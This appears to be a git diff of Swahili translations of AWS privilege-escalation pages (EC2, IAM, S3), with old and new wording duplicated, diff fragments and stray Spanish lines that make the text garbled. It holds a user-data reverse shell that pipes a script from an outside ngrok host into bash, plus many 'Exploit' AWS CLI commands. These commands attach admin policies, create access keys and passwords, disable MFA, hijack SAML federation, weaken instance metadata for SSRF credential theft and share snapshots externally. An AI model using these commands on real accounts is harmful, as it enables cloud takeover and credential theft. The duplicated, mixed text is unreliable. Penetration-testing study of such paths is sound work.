Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** anaweza kuunda **new Launch Template version** yenye **rev shell in** the **user data** na **any EC2 IAM Role on it**, kubadilisha default version, na **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** itatarudisha **re-run the instances** zinapotumia template hiyo na itatekeleza rev shell.
Mshambulizi mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** anaweza kuunda **mpya Launch Template version** yenye **rev shell katika** **user data** na **EC2 IAM Role yoyote juu yake**, kubadilisha toleo chaguo-msingi, na **kikundi chochote cha Autoscaler** **kinachotumia** hiyo **Launch Templat**e ambacho **kimewekwa** kutumia **hivi karibuni** au **toleo chaguo-msingi** kitarudia **kuendesha instances** kwa kutumia template hiyo na kutekeleza rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Madhara Yanayoweza Kutokea:** Direct privesc to a different EC2 role.
**Athari Inayoweza Kutokea:** Moja kwa moja privesc hadi EC2 role tofauti.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Mshambuliaji akiwa na ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **kuunda autoscaling group** kutoka kwa config hiyo na kusubiri rev shell **kuiba IAM Role**.
Mshambuliaji aliye na ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **kuunda autoscaling group** kutoka kwa config hiyo na kusubiri rev shell ili **kuiba IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Athari Inayowezekana:** Privesc ya moja kwa moja kwenda kwenye role tofauti ya EC2.
**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja hadi role tofauti ya EC2.
### `!autoscaling`
Mseto wa ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kuinua vibali** kwa IAM role kwa sababu ili kuambatisha role iliyotajwa katika Launch Configuration au Launch Template **unahitaji ruhusa `iam:PassRole` and `ec2:RunInstances`** (ambayo ni privesc inayojulikana).
Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kuinua ruhusa** hadi IAM role kwa sababu ili kuambatisha role iliyobainishwa katika Launch Configuration au katika Launch Template **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambazo ni privesc inayojulikana).
### `ec2-instance-connect:SendSSHPublicKey`
Mshambulizi aliye na ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa SSH kwa mtumiaji na kuitumia kuingia (ikiwa ana ufikiaji wa SSH kwa instance) au kuinua vibali.
Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa SSH kwa mtumiaji na kuitumia kuingia (ikiwa ana ufikiaji wa SSH kwa instance) au kuinua ruhusa.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Athari Inayowezekana:** Privesc ya moja kwa moja kwa EC2 IAM roles zilizoambatishwa kwenye running instances.
**Athari Inayowezekana:** Direct privesc to the EC2 IAM roles attached to running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ssh key kwenye serial connection**. Ikiwa serial haijawezeshwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwezesha**.
Ili kuunganishwa kwenye serial port pia **unahitaji kujua username na password ya user** ndani ya mashine.
Ili kuunganishwa na serial port pia **unahitaji kujua username na password ya mtumiaji** ndani ya mashine.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Njia hii si ya msaada mkubwa kwa privesc kwa sababu unahitaji kujua username na password ili kuiexploit.
Njia hii sio muhimu sana kwa privesc kwa sababu unahitaji kujua username na password ili kui-exploit.
**Athari Inayoweza Kutokea:** (Vigumu kabisa kuthibitisha) privesc ya moja kwa moja kwa EC2 IAM roles zilizounganishwa na instances zinazoendesha.
**Potential Impact:** (Haiwezi kuthibitishwa kwa urahisi) Privesc ya moja kwa moja kwa EC2 IAM roles zilizounganishwa na instances zinazoendesha.
### `describe-launch-templates`,`describe-launch-template-versions`
Kwa kuwa launch templates zina versioning, mshambuliaji mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia kugundua taarifa za siri, kama vile credentials zilizomo katika user data. Ili kufanya hivyo, script ifuatayo inapitia matoleo yote ya launch templates zilizopo:
Kwa kuwa launch templates zina versioning, attacker mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia kugundua taarifa nyeti, kama vile credentials zilizopo katika user data. Ili kufanya hivyo, script ifuatayo inapitia matoleo yote ya launch templates zinazopatikana:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,27 +250,22 @@ done
```
Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti.
Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia credentials hizi kuthibitisha kwenye AWS.
Ikizingatiwa tunapopata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia maelezo haya ya utambulisho kujiuthibitisha kwenye AWS.
**Athari Inayoweza Kutokea:** Direct privilege escalation kwa mtumiaji(wa) wa IAM.
**Athari Inayoweza Kutokea:** Kuongezeka kwa madaraka moja kwa moja kwa mtumiaji(wa) wa IAM.
## Marejeo
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
### `ec2:ModifyInstanceMetadataOptions` (Kupunguza kiwango cha IMDS ili kuwezesha kuiba maelezo ya utambulisho kupitia SSRF)
Mshambuliaji mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye instance ya EC2 ya mwathiri anaweza kudhoofisha ulinzi wa IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya metadata ya instance ipatikane kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazokimbia kwenye instance. Iwapo mshambuliaji ataweza kusababisha SSRF katika app kama hiyo, wanaweza kupata maelezo ya utambulisho ya instance profile na kutumia kuingia kwa rasilimali nyingine.
- Ruhusa zinazohitajika: `ec2:ModifyInstanceMetadataOptions` kwenye instance lengwa (na uwezo wa kufikia/kusababisha SSRF kwenye mwenyeji).
- Rasilimali lengwa: instance ya EC2 inayokimbia yenye instance profile imeambatishwa (IAM role).
### `ec2:ModifyInstanceMetadataOptions` (IMDS kupunguza kinga ili kuwezesha SSRF kuiba credentials)
Mshambulizi mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye EC2 instance ya mwathiriwa anaweza kudhoofisha kinga za IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya instance metadata ipatikane kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazoendesha kwenye instance. Ikiwa mshambulizi anaweza kusababisha SSRF katika programu hiyo, anaweza kupata instance profile credentials na pivot kwa kutumia hizo.
- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (pamoja na uwezo wa kufikia/kusababisha SSRF kwenye mwenyeji).
- Target resource: The running EC2 instance with an attached instance profile (IAM role).
Commands example:
Mfano wa amri:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,11 +292,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Athari Inayoweza Kutokea: Uibi wa instance profile credentials kupitia SSRF unaosababisha privilege escalation na lateral movement kwa ruhusa za role ya EC2.
Potential Impact: Uiba wa instance profile credentials kupitia SSRF ikisababisha privilege escalation na lateral movement kwa kutumia ruhusa za EC2 role.
### `ec2:ModifyInstanceMetadataOptions`
Mshambuliaji mwenye ruhusa ya ec2:ModifyInstanceMetadataOptions anaweza kudhoofisha ulinzi wa Instance Metadata Service (IMDS) — kwa mfano kwa kulazimisha IMDSv1 (kufanya HttpTokens zisihitajike) au kuongeza HttpPutResponseHopLimit — na hivyo kurahisisha kuondoa kwa siri kwa temporary credentials. Vector ya hatari inayohusiana zaidi ni kuongeza HttpPutResponseHopLimit: kwa kuongezeka kwa hop limit hiyo (TTL), endpoint 169.254.169.254 haibaki kufungwa kwa network namespace ya VM pekee na inaweza kufikiwa na michakato/containers nyingine, hivyo kuwezesha wizi wa credentials.
Mshambuliaji mwenye ruhusa ya `ec2:ModifyInstanceMetadataOptions` anaweza kudhoofisha ulinzi wa Instance Metadata Service (IMDS) — kwa mfano kwa kulazimisha `IMDSv1` (kufanya `HttpTokens` zisihitajike) au kwa kuongeza `HttpPutResponseHopLimit` — hivyo kurahisisha kuondolewa kwa siri kwa temporary credentials. Vectori ya hatari inayofaa zaidi ni kuinua `HttpPutResponseHopLimit`: kwa kuongeza kikomo hicho cha hop (TTL), endpoint `169.254.169.254` inasimama kushindwa kuwa kikamilifu iliyowekwa ndani ya network namespace ya VM na inaweza kufikiwa na michakato/containers nyingine, hivyo kuwezesha uiba wa credentials.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
@@ -311,13 +306,13 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
Mshambuliaji mwenye ruhusa za ec2:ModifyImageAttribute na ec2:ModifySnapshotAttribute anaweza kushiriki AMIs au snapshots na akaunti nyingine za AWS (au hata kuzifanya za umma), akifichua images au volumes ambazo zinaweza kuwa na data nyeti kama configurations, credentials, certificates, au backups. Kwa kubadilisha launch permissions za AMI au create-volume permissions za snapshot, mshambuliaji anawawezesha wadau wengine ku-launch instances au ku-mount disks kutoka kwa rasilimali hizo na kufikia yaliyomo.
Mshambulizi ambaye ana ruhusa za `ec2:ModifyImageAttribute` na `ec2:ModifySnapshotAttribute` anaweza kushiriki AMIs au snapshots na akaunti nyingine za AWS (au hata kufanya ziwe za umma), akifichua images au volumes ambazo zinaweza kuwa na data nyeti kama usanidi, credentials, certificates, au backups. Kwa kubadilisha AMIs launch permissions au snapshots create-volume permissions, mshambulizi anawawezesha watu wa tatu kuzindua instances au mount disks kutoka kwa rasilimali hizo na kufikia yaliyomo.
Ili kushiriki AMI na akaunti nyingine:
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
Ili kushiriki EBS snapshot na akaunti nyingine:
Kushiriki EBS snapshot na akaunti nyingine:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

View File

@@ -12,38 +12,38 @@ Kwa maelezo zaidi kuhusu IAM angalia:
### **`iam:CreatePolicyVersion`**
Inampa uwezo wa kuunda toleo jipya la sera ya IAM, kuepuka haja ya ruhusa `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa maalum.
Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ukiepuka hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa maalum.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Athari:** Huinua ruhusa moja kwa moja kwa kuruhusu kitendo chochote juu ya rasilimali yoyote.
**Athari:** Inaongeza mamlaka moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
### **`iam:SetDefaultPolicyVersion`**
Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine lililopo, jambo ambalo linaweza kusababisha kuongezeka kwa ruhusa ikiwa toleo jipya lina ruhusa zaidi.
Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kuwa toleo jingine lililopo, na inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi.
**Bash Command:**
**Amri ya Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuwezesha ruhusa zaidi.
**Athari:** Inasababisha privilege escalation isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.
### **`iam:CreateAccessKey`**
Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, kuchangia uwezekano wa privilege escalation.
Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, ambayo inaweza kusababisha privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Athari:** Kupandishwa kwa vibali kwa njia ya moja kwa moja kwa kuchukua nafasi ya vibali vilivyopanuliwa vya mtumiaji mwingine.
**Impact:** Direct privilege escalation kwa kuchukua ruhusa zilizopanuliwa za mtumiaji mwingine.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Inaruhusu kuunda au kusasisha login profile, ikiwa ni pamoja na kuweka nywila kwa ajili ya AWS console login, na kusababisha kupandishwa kwa vibali kwa njia ya moja kwa moja.
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa ajili ya AWS console login, na kusababisha direct privilege escalation.
**Exploit for Creation:**
```bash
@@ -55,21 +55,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Athari:** Direct privilege escalation kwa kuingia kama mtumiaji "any".
**Impact:** Moja kwa moja privilege escalation kwa kuingia kama mtumiaji "yeyote".
### **`iam:UpdateAccessKey`**
Inaruhusu kuwezesha disabled access key, ambayo inaweza kusababisha unauthorized access ikiwa attacker anamiliki disabled key.
Inaruhusu kuwezesha access key iliyozimwa, ambayo inaweza kusababisha upatikanaji usioruhusiwa ikiwa attacker anamiliki access key iliyozimwa.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Athari:** Kuinua ruhusa kwa njia ya moja kwa moja kwa kuanzisha upya funguo za ufikiaji.
**Athari:** Direct privilege escalation by reactivating access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Inaruhusu kuzalisha au kuweka upya kredenshali kwa huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ambazo zinarithi ruhusa za mtumiaji aliyehusishwa.
Inaiwezesha kutengeneza au kuweka upya credentials kwa huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ikimrithi permissions za mtumiaji aliyehusishwa.
**Exploit for Creation:**
```bash
@@ -79,13 +79,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Athari:** Direct privilege escalation ndani ya service permissions za user.
**Athari:** Kuinua ruhusa moja kwa moja ndani ya idhini za huduma za mtumiaji.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Inaruhusu kuambatisha policies kwa users au groups, directly escalating privileges kwa kurithi permissions za policy iliyoungwa.
Inaruhusu kuambatisha sera kwa watumiaji au vikundi, na hivyo kuinua ruhusa moja kwa moja kwa kurithi idhini za sera iliyowekwa.
**Exploit kwa User:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja hadi chochote sera inachoruhusu.
**Athari:** Direct privilege escalation kwa chochote sera inakipa.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Inaruhusu kuambatisha au kuweka sera kwa roles, watumiaji, au vikundi, ikiruhusu kuongezeka kwa ruhusa kwa moja kwa moja kwa kutoa ruhusa za ziada.
Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, ikiruhusu direct privilege escalation kwa kutoa ruhusa za ziada.
**Exploit for Role:**
```bash
@@ -127,28 +127,28 @@ Unaweza kutumia sera kama:
]
}
```
**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja kwa kuongeza idhini kupitia sera.
**Athari:** Direct privilege escalation by adding permissions through policies.
### **`iam:AddUserToGroup`**
Inaruhusu mtu kujiongezea katika kundi la IAM, na kuongeza ruhusa kwa kurithi ruhusa za kundi.
Inaruhusu kujiongezea mwenyewe kwenye kikundi cha IAM, escalating privileges kwa kurithi ruhusa za kikundi.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Athari:** Kupandishwa kwa ruhusa moja kwa moja hadi kiwango cha ruhusa za kikundi.
**Athari:** Direct privilege escalation to the level of the group's permissions.
### **`iam:UpdateAssumeRolePolicy`**
Inaruhusu kubadilisha assume role policy document ya role, ikiwezesha assumption ya role na ruhusa zake zinazohusiana.
Inaruhusu kubadilisha assume role policy document ya role, na hivyo kuruhusu assumption ya role na permissions zake zinazohusiana.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua role:
Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:
```json
{
"Version": "2012-10-17",
@@ -163,38 +163,38 @@ Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchuk
]
}
```
**Athari:** Moja kwa moja privilege escalation kwa kudai ruhusa za role yoyote.
**Athari:** privilege escalation ya moja kwa moja kwa kuchukua ruhusa za role yoyote.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Inaruhusu kupakia SSH public key kwa ajili ya ku-authenticate kwenye CodeCommit na ku-deactivate vifaa vya MFA, jambo ambalo linaweza kusababisha indirect privilege escalation.
Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha utambulisho kwenye CodeCommit na ku-deactivate vifaa vya MFA, jambo linaloweza kusababisha indirect privilege escalation.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit kwa Kuzima MFA:**
**Exploit kwa kuzima MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA.
**Athari:** Kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA.
### **`iam:ResyncMFADevice`**
Inaruhusu kusawazisha upya kifaa cha MFA, jambo ambalo linaweza kusababisha kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA.
Inaruhusu kusawazisha tena kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuathiri ulinzi wa MFA.
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Athari:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kurekebisha vifaa vya MFA.
**Impact:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Kwa ruhusa hizi unaweza **change the XML metadata of the SAML connection**. Kisha, unaweza kutumia vibaya the **SAML federation** ili **login** na **role that is trusting** it.
Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kuutumia vibaya **SAML federation** ili **login** kwa yoyote **role** inayomwamini.
Kumbuka kwamba kufanya hivyo **legit users won't be able to login**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kurejesha usanidi wa awali
Tambua kwamba ukifanya hivi **watumiaji halali hawataweza kuingia (login)**. Hata hivyo, unaweza kupata XML, ukaweka yako, kuingia na kurekebisha mipangilio ya awali ili iendelee kufanya kazi.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Zana inayoweza kuunda metadata ya SAML na kuingia kwa role iliyobainishwa
> TODO: Chombo kinachoweza kuzalisha metadata ya SAML na ku-login kwa role maalum
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Siwezi kuwa na uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **permissions** angeweza kuongeza **Thumbprint** mpya ili kuweza kuingia katika role zote zinazomwamini provider.
(Sina uhakika kuhusu hili) Iwapo mshambuliaji ana hizi **permissions**, anaweza kuongeza **Thumbprint** mpya ili kuweza ku-login katika roles zote zinazomwamini provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Ruhusa hii inamruhusu mshambuliaji kubadilisha permissions boundary ya mtumiaji, na hivyo inawezekana kuongeza mamlaka yao kwa kumruhusu kufanya vitendo ambavyo kwa kawaida vimezuiwa na ruhusa zao za sasa.
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya user, na hivyo inawezekana kwamba ataongeza privileges zao kwa kuwawezesha kufanya vitendo ambavyo kwa kawaida vimezuiliwa na permissions walizokuwa nazo.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,13 +249,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Mtendaji mwenye iam:PutRolePermissionsBoundary anaweza kuweka permissions boundary kwenye role iliyopo. Hatari inapotokea wakati mtu mwenye ruhusa hii anabadilisha permissions boundary ya role: anaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma), au, ikiwa ataambatanisha permissive boundary, kwa ufanisi kupanua kile role inaweza kufanya na kuongeza ruhusa.
Mtu aliye na iam:PutRolePermissionsBoundary anaweza kuweka permissions boundary kwenye role iliyopo. Hatari inapotokea mtu mwenye ruhusa hii anapobadilisha boundary ya role: wanaweza kupunguza vibaya shughuli (kusababisha service disruption) au, iwapo wanaweka permissive boundary, kupanua kwa ufanisi kile role inaweza kufanya na escalate privileges.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
## Marejeo
## Marejeleo
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
Attacker mwenye permissions hizo juu ya interesting buckets anaweza kuwa na uwezo wa hijack resources na escalate privileges.
Mshambulizi aliye na ruhusa hizo kwa buckets muhimu anaweza kuiba rasilimali na kupandisha ruhusa.
Kwa mfano, attacker mwenye permissions hizo juu ya cloudformation bucket inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza hijack deployment. Ufikiaji unaweza kutolewa kwa policy ifuatayo:
Kwa mfano, mshambulizi aliye na **ruhusa hizo kwa cloudformation bucket** iitwayo "cf-templates-nohnwfax6a6i-us-east-1" ataweza kudukua deployment. Ufikiaji unaweza kutolewa kwa sera ifuatayo:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,30 @@ Kwa mfano, attacker mwenye permissions hizo juu ya cloudformation bucket inayoit
]
}
```
Na hijack inawezekana kwa sababu kuna **dirisha dogo la muda tangu template inapopakuliwa** kwenye bucket hadi wakati **template inapotumika/deployed**. Mshambuliaji anaweza kuunda tu **lambda function** katika akaunti yake itakayochochewa anapofikishwa notification ya bucket, na kisha **hijack** yaliyomo ya hiyo **bucket**.
Na hijack inawezekana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapopakuliwa** kwenye bucket hadi wakati **template inatumiwa/deployed**. Mshambuliaji anaweza tu kuunda **lambda function** kwenye akaunti yake ambayo itaanzishwa wakati notisi ya **bucket** itapotumwa, na **hijacks** **content** ya hiyo **bucket**.
![](<../../../images/image (174).png>)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
Kwa habari zaidi angalia utafiti asilia: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) inaweza kutumika kuendesha mashambulizi haya kwa otomatiki.\
Kwa habari zaidi angalia utafiti wa awali: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Hizi ni ruhusa za **kupata na kupakia objects kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) zinatumia S3 kuhifadhi **config files**.\
Hizi ni ruhusa za **kupata na kupakia objects kwenye S3**. Huduma mbalimbali ndani ya AWS (na nje yake) hutumia hifadhi ya S3 kuhifadhi **config files**.\
Mshambuliaji mwenye **read access** kwao anaweza kupata **taarifa nyeti**.\
Mshambuliaji mwenye **write access** kwao anaweza **kubadilisha data ili kuabusa huduma fulani na kujaribu kupandisha ruhusa**.\
Hapa kuna baadhi ya mifano:
Mshambuliaji mwenye **write access** kwao anaweza **kubadilisha data ili kutumia vibaya huduma fulani na kujaribu kupandisha ruhusa**.\
Hapa kuna mifano:
- Ikiwa EC2 instance inahifadhi **user data in a S3 bucket**, mshambuliaji anaweza kuibadilisha ili **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
Ni kawaida sana kwamba [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files zinahifadhiwa kwenye blob storage za cloud providers, mfano AWS S3. Kiambishi cha faili cha state file ni `.tfstate`, na majina ya bucket mara nyingi yanaonyesha kwamba zinabeba terraform state files. Kwa kawaida, kila akaunti ya AWS ina bucket kama hiyo kuhifadhi state files zinazonyesha hali ya akaunti. Pia kwa kawaida, katika akaunti za ulimwengu halisi mara nyingi watengenezaji wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`.
Ni jambo la kawaida kuwa state files za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) zinazonaswa kwenye blob storage za watoa huduma za cloud, mfano AWS S3. Kiambishi faili cha state file ni `.tfstate`, na majina ya bucket mara nyingi pia yanaonyesha kuwa zinajumuisha terraform state files. Kawaida, kila akaunti ya AWS ina bucket moja ya aina hiyo kuhifadhi state files zinazoonyesha hali ya akaunti.
Vilevile, kwa akaunti za dunia halisi karibu daima developers wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`.
Kwa hivyo, ikiwa una ruhusa zilizotajwa juu ya faili hizi, kuna vector ya mashambulizi inayokuwezesha kupata RCE katika pipeline kwa haki za `terraform` - mara nyingi `AdministratorAccess`, ikikufanya kuwa admin wa akaunti ya cloud. Pia, unaweza kutumia vector hiyo kufanya mashambulizi ya denial of service kwa kufanya `terraform` kufuta rasilimali halali.
